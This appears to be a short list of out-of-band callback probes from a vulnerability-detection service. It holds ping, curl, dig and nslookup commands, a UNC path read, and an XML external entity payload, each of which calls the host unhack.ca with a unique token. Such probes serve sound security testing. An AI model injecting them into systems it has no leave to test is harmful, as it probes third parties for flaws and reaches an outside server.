$ ping -c1 -p 0047551468d66c5bd78a3bd98e579a00 unhack.ca
 

$ curl http://unhack.ca/p/47551468d66c5bd78a3bd98e579a
 

$ dig 47551468d66c5bd78a3bd98e579a @unhack.ca
 

$ dig 47551468d66c5bd78a3bd98e579a.ns.unhack.ca
 

C:\> nslookup 47551468d66c5bd78a3bd98e579a unhack.ca
 

C:\> type \\unhack.ca\47551468d66c5bd78a3bd98e579a\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/47551468d66c5bd78a3bd98e579a">]>
    <foo>&xxe;</foo>